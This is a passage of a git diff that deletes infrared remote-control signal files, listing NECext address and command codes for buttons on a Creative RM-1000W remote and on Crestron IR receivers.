-# -name: KEY_LEFT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E1 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: EE 00 00 00 -# -name: s9 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: EF 00 00 00 -# -name: s2 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: F0 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: F1 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: FE 00 00 00 -# -name: sPrev -type: parsed -protocol: NECext -address: C1 44 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir deleted file mode 100644 index d9a6d0302..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 09 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 1E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 21 00 00 00 -# -name: eax -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 31 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 3E 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 46 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 5E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 6E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 71 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 76 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 7E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 81 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 86 00 00 00 -# -name: cmss -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 8E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 91 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: C1 44 00 00 -command: 9E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: A1 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: AE 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: B1 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: C1 44 00 00 -command: BE 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C1 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C1 44 00 00 -command: C6 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: C1 44 00 00 -command: CE 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: D1 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: C1 44 00 00 -command: DE 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: C1 44 00 00 -command: E1 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: EE 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: C1 44 00 00 -command: F1 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: C1 44 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir deleted file mode 100644 index c59771399..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BTN01 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: BTN02 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: BTN03 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: BTN04 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: BTN05 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: BTN06 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: BTN07 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: BTN08 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: BTN09 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: BTN10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: BTN11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: BTN12 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: BTN13 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: BTN14 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: BTN15 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: BTN16 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: BTN17 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: BTN18 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BTN19 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BTN20 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: BTN21 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: BTN22 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: BTN23 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: BTN24 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: BTN25 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: BTN26 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: BTN27 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: BTN28 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: BTN29 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: BTN30 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: BTN31 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: BTN32 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: BTN33 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: BTN34 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: BTN35 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: BTN36 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: BTN37 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: BTN38 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: BTN39 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: BTN40 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: BTN41 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: BTN42 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: BTN43 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: BTN44 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: BTN45 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: BTN46 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: BTN47 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: BTN48 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: BTN49 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: BTN50 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: BTN51 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: BTN52 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: BTN53 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: BTN54 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: BTN55 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: BTN56 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: BTN57 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: BTN58 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: BTN59 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: BTN60 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: BTN61 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: BTN62 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: BTN63 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: BTN64 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir deleted file mode 100644 index 6b42a2c18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BTN01 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: BTN02 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: BTN03 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: BTN04 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: BTN06 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: BTN05 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: BTN07 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: BTN08 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: BTN09 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: BTN10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: BTN11 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: BTN12 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: BTN13 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: BTN14 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: BTN15 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: BTN16 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: BTN17 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: BTN18 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: BTN19 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: BTN20 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: BTN21 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: BTN22 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: BTN23 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: BTN24 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: BTN25 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: BTN26 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: BTN27 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: BTN28 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: BTN29 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: BTN30 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: BTN31 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: BTN32 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: BTN33 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: BTN34 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: BTN35 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: BTN36 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: BTN37 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: BTN38 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: BTN39 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: BTN40 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: BTN41 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: BTN42 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: BTN43 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: BTN44 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: BTN45 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 -# -name: BTN46 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: BTN47 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: BTN48 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: BTN49 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: BTN50 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: BTN51 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: BTN52 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: BTN53 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: BTN54 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: BTN55 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: BTN56 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: BTN57 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: BTN58 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: BTN59 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: BTN60 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: BTN61 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: BTN62 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: BTN63 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3E 00 00 00 -# -name: BTN64 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir deleted file mode 100644 index 7ed2032a3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BTN01 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: BTN02 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: BTN03 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: BTN04 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: BTN05 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: BTN06 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: BTN07 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: BTN08 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: BTN09 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: BTN10 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: BTN11 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: BTN12 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: BTN13 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: BTN14 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: BTN15 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: BTN16 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: BTN17 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: BTN18 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: BTN19 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: BTN20 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: BTN21 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: BTN22 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: BTN23 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: BTN24 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: BTN25 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: BTN26 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: BTN27 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: BTN28 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: BTN29 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: BTN30 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: BTN31 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: BTN32 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: BTN33 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: BTN34 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: BTN35 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: BTN36 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: BTN37 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: BTN38 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: BTN39 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: BTN40 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: BTN41 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: BTN42 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: BTN43 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: BTN44 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2B 00 00 00 -# -name: BTN45 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2C 00 00 00 -# -name: BTN46 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2D 00 00 00 -# -name: BTN47 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: BTN48 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: BTN49 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: BTN50 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: BTN51 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 32 00 00 00 -# -name: BTN52 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: BTN53 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 34 00 00 00 -# -name: BTN54 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: BTN55 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: BTN56 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 37 00 00 00 -# -name: BTN57 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 38 00 00 00 -# -name: BTN58 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 39 00 00 00 -# -name: BTN59 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3A 00 00 00 -# -name: BTN60 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3B 00 00 00 -# -name: BTN61 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3C 00 00 00 -# -name: BTN62 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3D 00 00 00 -# -name: BTN63 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: BTN64 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir deleted file mode 100644 index 23c7e6c50..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BTN01 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: BTN02 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: BTN03 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: BTN04 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: BTN05 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: BTN06 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: BTN07 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: BTN08 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: BTN09 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: BTN10 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: BTN11 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: BTN12 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: BTN13 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: BTN14 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: BTN15 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: BTN16 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: BTN17 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: BTN18 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: BTN19 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: BTN20 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: BTN21 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: BTN22 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: BTN23 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: BTN24 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: BTN25 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: BTN26 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: BTN27 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: BTN28 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: BTN29 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: BTN30 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: BTN31 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: BTN32 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: BTN33 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: BTN34 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: BTN35 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: BTN36 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: BTN37 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: BTN38 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: BTN39 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: BTN40 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: BTN41 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: BTN42 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: BTN43 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2A 00 00 00 -# -name: BTN44 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2B 00 00 00 -# -name: BTN45 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2C 00 00 00 -# -name: BTN46 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2D 00 00 00 -# -name: BTN47 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2E 00 00 00 -# -name: BTN48 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2F 00 00 00 -# -name: BTN49 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: BTN50 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 31 00 00 00 -# -name: BTN51 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 32 00 00 00 -# -name: BTN52 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 33 00 00 00 -# -name: BTN53 -type: parsed -protocol: NECext -address: 03 00 00 00 